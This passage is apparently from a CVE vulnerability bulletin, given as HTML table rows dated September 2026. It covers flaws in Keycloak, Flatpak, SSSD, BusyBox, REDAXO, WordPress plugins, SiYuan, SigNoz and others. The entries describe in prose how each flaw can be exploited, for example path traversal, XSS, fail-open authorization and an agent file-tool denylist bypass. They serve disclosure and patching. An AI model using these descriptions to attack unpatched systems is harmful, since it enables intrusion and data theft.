&lt;td&gt;A flaw was found in the Level of Authentication enforcement mechanism of Keycloak, an identity and access management solution. The issue occurs when a client specifically requires a higher security level for a user who already has an active session at a lower level. Due to a logic error in how session re-evaluations are handled, Keycloak may incorrectly issue a token at the lower security level instead of enforcing the required higher level, potentially allowing unauthorized access to sensitive resources that rely on these security claims.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97176&quot; target=&quot;_blank&quot;&gt;CVE-2026-97176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in the Admin REST API of Keycloak, an identity and access management solution. The endpoints used to retrieve groups associated with a specific role do not properly check for individual group visibility permissions. This allows a delegated administrator with basic search privileges to view detailed information about all groups assigned to a role, bypassing intended security restrictions that should limit their view to specific groups.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97311&quot; target=&quot;_blank&quot;&gt;CVE-2026-97311&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;If a malicious SDK container declares an extension point with a crafted `directory` path, and a developer runs `flatpak build-init --writable-sdk --sdk-extension` with that SDK, attacker-chosen files could be written outside the working directory, since the target path is resolved via a function that allows `..` traversal.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96276&quot; target=&quot;_blank&quot;&gt;CVE-2026-96276&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A malicious OCI registry can hardlink arbitrary host files into the extraction directory when a user installs or updates a Flatpak application from an OCI remote, allowing disclosure of arbitrary host file contents. For system-wide installs running as root, this includes sensitive files such as /etc/shadow.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96279&quot; target=&quot;_blank&quot;&gt;CVE-2026-96279&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;On a multi-user system, a user with an active local login session could downgrade a system-wide Flatpak app to an older version by removing the app&#039;s remote ref via the unprivileged system-helper RemoveLocalRef method, causing the anti-downgrade check to fail to find a reference date. A malicious local user could use this to expose other users of the same system to an app version with unfixed vulnerabilities.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96281&quot; target=&quot;_blank&quot;&gt;CVE-2026-96281&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in SSSD. When configured with the LDAP access provider and `ldap_access_order` including `ppolicy` or `lockout`, a fail-open condition in the LDAP ppolicy access check can occur if a user lookup returns zero results. This can incorrectly return success and cache an allow decision, permitting continued authorization for a deleted or deprovisioned user. A remote attacker with prior valid account context could exploit this to maintain access to information and potentially make limited modifications to resources that should no longer be available.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90462&quot; target=&quot;_blank&quot;&gt;CVE-2026-90462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in libstoragemgmt. An attacker with control over a local or virtual storage device could provide specially crafted SCSI (Small Computer System Interface) Vital Product Data (VPD) page 0x80 data. This malformed data, specifically an untrusted page length field, can lead to a stack buffer overflow in the `_sg_parse_vpd_80()` function during serial number parsing. Successful exploitation could result in a denial of service by crashing or destabilizing the process querying the serial number.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93433&quot; target=&quot;_blank&quot;&gt;CVE-2026-93433&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;An out-of-bounds write flaw was found in usbredir. Starting an isochronous OUT stream with a transfer count of 1 leaves the stream&#039;s single transfer buffer permanently unsubmitted, defeating the bounds check in usbredirhost_iso_packet() and allowing a usbredir peer to write past the end of the packet descriptor array on every subsequent isochronous packet.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92382&quot; target=&quot;_blank&quot;&gt;CVE-2026-92382&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;An out-of-bounds heap read flaw was found in GIMP&#039;s TIM image loader. When a user opens a crafted 4bpp TIM image that causes promotion to an RGBA layer, the file-tim plug-in allocates an undersized row buffer but processes it using the larger RGBA row size. This can copy adjacent heap contents into the decoded image and may crash the plug-in.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96545&quot; target=&quot;_blank&quot;&gt;CVE-2026-96545&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Hardened Images&lt;/td&gt;
&lt;td&gt;BusyBox dpkg read_package_field() steps past a NUL terminator on malformed .deb packages, causing an out-of-bounds heap read.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88835&quot; target=&quot;_blank&quot;&gt;CVE-2026-88835&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Hardened Images&lt;/td&gt;
&lt;td&gt;BusyBox httpd treats yescrypt ($y$) password hashes as plaintext during Basic Authentication, inverting the authentication check.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88837&quot; target=&quot;_blank&quot;&gt;CVE-2026-88837&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Hardened Images&lt;/td&gt;
&lt;td&gt;BusyBox passwd/group tokenize() references a stale endpoint pointer after trimming, causing an out-of-bounds write of heap pointers.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88839&quot; target=&quot;_blank&quot;&gt;CVE-2026-88839&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Hardened Images&lt;/td&gt;
&lt;td&gt;BusyBox httpd IP deny rules with invalid CIDR prefix lengths fail open, leaving a parsed IP with a zeroed mask so the rule matches no clients.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88831&quot; target=&quot;_blank&quot;&gt;CVE-2026-88831&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Hardened Images&lt;/td&gt;
&lt;td&gt;BusyBox TLS get_client_hello() reads past the end of the input buffer when parsing a truncated ClientHello message.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88840&quot; target=&quot;_blank&quot;&gt;CVE-2026-88840&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;redaxo--core&lt;/td&gt;
&lt;td&gt;REDAXO is a PHP-based content management system. Prior to 5.21.2, rex_api_install_package_update in redaxo/src/addons/install/lib/api/api_package_update.php inherits the false default from rex_api_function::requiresCsrfProtection() instead of requiring a CSRF token. An unauthenticated attacker can cause a logged-in administrator&#039;s browser to request a selected package update from the configured REDAXO package server, changing installed addon code or disrupting the site without the administrator&#039;s intent. This issue is fixed in version 5.21.2.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63000&quot; target=&quot;_blank&quot;&gt;CVE-2026-63000&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;redaxo--core&lt;/td&gt;
&lt;td&gt;REDAXO is a PHP-based content management system. Prior to 5.21.2, rex_list::getSortColumn() in redaxo/src/core/lib/list.php accepts the sort request parameter without checking whether setColumnSortable() registered the requested column. An authenticated backend user can make prepareQuery() add an escaped but unauthorized ORDER BY identifier, allowing error-based enumeration of columns in joined tables and ordering by unselected sensitive fields such as rex_user.password. This issue is fixed in version 5.21.2.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62998&quot; target=&quot;_blank&quot;&gt;CVE-2026-62998&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;redaxo--core&lt;/td&gt;
&lt;td&gt;REDAXO is a PHP-based content management system. Prior to 5.21.2, the mediaIsInUse() handler in redaxo/src/addons/media_manager/lib/media_manager.php inserts a Media Manager type name into raw backend warning HTML without escaping it when invoked through MEDIA_IS_IN_USE. An administrator with Media Manager access can store HTML in a type name, and the payload executes in another administrator&#039;s browser when that administrator tries to delete media referenced by the type&#039;s effects, enabling session theft or unauthorized backend actions. This issue is fixed in version 5.21.2.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63001&quot; target=&quot;_blank&quot;&gt;CVE-2026-63001&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;redaxo--core&lt;/td&gt;
&lt;td&gt;REDAXO is a PHP-based content management system. Prior to 5.21.2, redaxo/src/addons/mediapool/pages/sync.php inserts filenames held in $diffFiles from the media filesystem into the Mediapool Sync page without rex_escape(). An attacker who can place an unregistered file with HTML metacharacters in the media directory can execute script in the browser of a backend user with media[sync] permission when that user opens the Sync page, enabling session theft or unauthorized backend actions. This issue is fixed in version 5.21.2.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63002&quot; target=&quot;_blank&quot;&gt;CVE-2026-63002&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RestroPress--RestroPress&lt;/td&gt;
&lt;td&gt;The RestroPress WordPress plugin before 3.4.6 does not validate a client-supplied item add-on price on the server side when items are added to or updated in the cart, allowing unauthenticated users to set an arbitrary price and place orders for an attacker-chosen total, down to and including zero.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85010&quot; target=&quot;_blank&quot;&gt;CVE-2026-85010&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rmyndharis--OpenWA&lt;/td&gt;
&lt;td&gt;OpenWA is a free, open source, self-hosted WhatsApp API gateway. Prior to 0.23.5, the GET /api/sessions/{sessionId}/groups/{groupId}/invite-code endpoint and the GroupGetInviteCode MCP tool have no OPERATOR role requirement, allowing a valid VIEWER key scoped to a session to retrieve an active group invite code. The invite code is a transferable WhatsApp bearer capability, so an external account can join a group administered by the session without an OpenWA credential, gain read and post access to the group, and retain membership after the VIEWER key is revoked. Affected deployments are those that issue VIEWER keys to parties who should not be able to add accounts to administered groups; OPERATOR and ADMIN access is intended. This issue is fixed in version 0.23.5.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91161&quot; target=&quot;_blank&quot;&gt;CVE-2026-91161&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Roxnor--ElementsKit Elementor addons Lite&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in ElementsKit Elementor addons Lite &amp;lt;= 4.0.5 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94500&quot; target=&quot;_blank&quot;&gt;CVE-2026-94500&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rustaurius--Ultimate FAQ&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in Ultimate FAQ &amp;lt;= 2.4.14 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94391&quot; target=&quot;_blank&quot;&gt;CVE-2026-94391&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rustdesk--rustdesk&lt;/td&gt;
&lt;td&gt;RustDesk versions before 1.5.0 fail to properly validate file transfer permissions on incoming file clipboard messages in the Cliprdr message handler on Linux and macOS. Authenticated remote peers with disabled file transfer permissions can place files onto the host clipboard and retrieve copied files and contents from the process-wide clipboard cache.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100388&quot; target=&quot;_blank&quot;&gt;CVE-2026-100388&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rwelephant01--RW Elephant Rental Inventory&lt;/td&gt;
&lt;td&gt;The RW Elephant Rental Inventory plugin for WordPress is vulnerable to Missing Authorization in all versions up to and including 2.3.13. This is due to a missing capability check on the toggle_cache() function which is hooked to the wp_ajax_toggle_cache AJAX action. The function also lacks nonce verification. This makes it possible for authenticated attackers, with Subscriber-level access and above, to toggle the plugin&#039;s cache setting on or off by sending a POST request to admin-ajax.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4123&quot; target=&quot;_blank&quot;&gt;CVE-2026-4123&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAP Fiori Launchpad&lt;/td&gt;
&lt;td&gt;SAP Fiori Launchpad does not sufficiently validate certain user-controlled input. An unauthenticated attacker could craft a malicious link that, when clicked by an authenticated user, causes the browser to load attacker-controlled content from an external location. This could be used to exfiltrate sensitive information from the victim&#039;s session, resulting in a high impact on confidentiality. There is no impact on integrity and availability.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76974&quot; target=&quot;_blank&quot;&gt;CVE-2026-76974&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SeaTheme--BM Content Builder&lt;/td&gt;
&lt;td&gt;The BM Content Builder plugin for WordPress is vulnerable to Directory Traversal in all versions up to 3.17.1 (exclusive) via the ux_cb_page_customize_save_layout_ajax() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-1280&quot; target=&quot;_blank&quot;&gt;CVE-2025-1280&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SecondLineThemes--Podcast Importer SecondLine&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in Podcast Importer SecondLine &amp;lt;= 1.5.6 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94682&quot; target=&quot;_blank&quot;&gt;CVE-2026-94682&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sfturing--hosp_order&lt;/td&gt;
&lt;td&gt;A flaw has been found in sfturing hosp_order up to 627f426331da8086ce8fff2017d65b1ddef384f8. This affects an unknown part of the file ssm_pro/src/main/resources/jdbc.properties. This manipulation causes hard-coded credentials. It is possible to initiate the attack remotely. The attack&#039;s complexity is rated as high. It is indicated that the exploitability is difficult. The exploit has been published and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96548&quot; target=&quot;_blank&quot;&gt;CVE-2026-96548&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sfturing--hosp_order&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in sfturing hosp_order up to 627f426331da8086ce8fff2017d65b1ddef384f8. Affected is an unknown function of the file HospitalController.java of the component Public Search Handlers. The manipulation of the argument Search leads to cross site scripting. The attack can be initiated remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95396&quot; target=&quot;_blank&quot;&gt;CVE-2026-95396&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sfturing--hosp_order&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in sfturing hosp_order up to 627f426331da8086ce8fff2017d65b1ddef384f8. Impacted is an unknown function of the file ssm_pro/src/main/java/cn/sfturing/web/CommonUserController.java. Executing a manipulation can lead to cross-site request forgery. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96551&quot; target=&quot;_blank&quot;&gt;CVE-2026-96551&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SigNoz--signoz&lt;/td&gt;
&lt;td&gt;SigNoz versions from v0.98.0 up to (but not including) v0.143.0, when configured to use the opaque session tokenizer (which was not the default before v0.143.0), do not revoke a user&#039;s existing login sessions when the user&#039;s password is reset with a reset token (UpdatePasswordByResetPasswordToken, reachable via POST /api/v2/factor_password/reset) or when the user is deleted (DeleteUser, reachable via DELETE /api/v2/users/{id}). Neither code path calls the tokenizer&#039;s DeleteTokensByUserID, so cached tokens and identities are left in place. An attacker who already holds a session token for the account - for example from a stolen browser session or from a user being offboarded - retains the account&#039;s full access, up to administrator, after a password reset until the token reaches its configured maximum lifetime (30 days by default), and after user deletion until the token next rotates (30 minutes by default). This defeats password reset and user deletion as a means of terminating access. The issue is fixed in v0.143.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97056&quot; target=&quot;_blank&quot;&gt;CVE-2026-97056&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SiteSkite--SiteSkite&lt;/td&gt;
&lt;td&gt;Contributor Insecure Direct Object References (IDOR) in SiteSkite &amp;lt;= 2.1.7 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93513&quot; target=&quot;_blank&quot;&gt;CVE-2026-93513&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan is a self-hosted personal knowledge management system. In versions 3.8.0 through 3.8.3, the MCP file tool&#039;s sensitive-path guard (util.IsForbiddenAbsPath(), invoked from resolvePath()) is applied only to the allowed root of recursive operations and not to each resolved descendant path - an incomplete fix for GHSA-c8r8-95hg-mp34. An authenticated administrator using the in-app Agent or the external MCP server can therefore bypass the protected-workspace-file denylist: file.grep can return matching lines from non-hidden protected descendants (for example conf/conf.json, TLS keys, data/snippets/conf.json, data/templates/, data/.siyuan/publishAccess.json, notebook .siyuan internals, or the kernel log), file.copy can copy protected descendants to an ordinary path where file.read can then retrieve them, and unzip can overwrite protected descendants using ordinary, lexically contained ZIP member names. Because file.grep is globally classified as a safe action, it receives no per-call confirmation, and the confirmation cards for file.copy and unzip show only the allowed root arguments. This issue is fixed in version 3.8.4. Suggested title: SiYuan 3.8.0 through 3.8.3 Sensitive-Path Guard Bypass in Recursive MCP File Operations.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100633&quot; target=&quot;_blank&quot;&gt;CVE-2026-100633&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan before v3.8.4 contains an authentication bypass vulnerability in the publish service where session cookies are issued without Secure or SameSite attributes over plaintext HTTP connections. An on-path attacker can observe a valid publish-visitor-session-id cookie from a Basic Auth exchange and replay it to access authenticated publish endpoints without knowing the account password.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100635&quot; target=&quot;_blank&quot;&gt;CVE-2026-100635&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan before v3.8.4 does not validate the sender or restrict recipients in the &#039;siyuan-send-windows&#039; IPC handler of the Electron main process (app/electron/main.js). The handler ignores event.sender and forwards any received payload to every BrowserWindow returned by BrowserWindow.getAllWindows(), including windows belonging to other opened workspaces. A renderer connected to an attacker-controlled remote kernel can therefore send {cmd: &quot;lockscreenByMode&quot;} and have it delivered across the workspace boundary; a sibling workspace window whose lockScreenMode is set to 1 invokes lockScreen(). Repeated messages allow the remote workspace to repeatedly lock unrelated local workspace windows, causing a limited denial of service. No confidentiality, integrity, or code-execution impact was observed.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100634&quot; target=&quot;_blank&quot;&gt;CVE-2026-100634&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan before v3.8.4 contains an authorization omission in the siyuan-get IPC handler that allows remote-kernel renderers to access native clipboard formats by invoking clipboardReadMathML, clipboardReadOffice, and clipboardReadWPS commands with matching plaintext. Attackers controlling remote renderer content can obtain MathML formulas, Office bytes, and WPS bytes from local clipboard during user-mediated paste operations.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100640&quot; target=&quot;_blank&quot;&gt;CVE-2026-100640&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;smub--WPForms AI Form Builder for WordPress Contact Forms, Payment Forms, Survey Form, Quiz &amp;amp; More&lt;/td&gt;
&lt;td&gt;The WPForms - AI Form Builder for WordPress - Contact Forms, Payment Forms, Survey Form, Quiz &amp;amp; More plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via &#039;page_title&#039; POST Parameter via {page_title} Smart Tag in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. This is only exploitable on forms whose admin-authored confirmation message places the {page_title} Smart Tag inside an HTML attribute context.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88996&quot; target=&quot;_blank&quot;&gt;CVE-2026-88996&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;solspace--craft-freeform&lt;/td&gt;
&lt;td&gt;Solspace Freeform plugin for Craft CMS 5.x is a super flexible form-building tool. From 5.0.0 through 5.10.13, submitted values from public Freeform forms can be evaluated by the isolated Twig renderer when rendered into HTML attributes. An unauthenticated attacker can place Twig expressions in submitted field values, including value attributes, and receive evaluated PHP, operating-system, or Craft filesystem-path constants in the form response. The isolated context was not shown to expose Craft globals, environment variables, credentials, arbitrary files, or code execution, so the confirmed impact is limited server and environment information disclosure and possible rendering errors. This issue is fixed in version 5.10.14.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73858&quot; target=&quot;_blank&quot;&gt;CVE-2026-73858&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
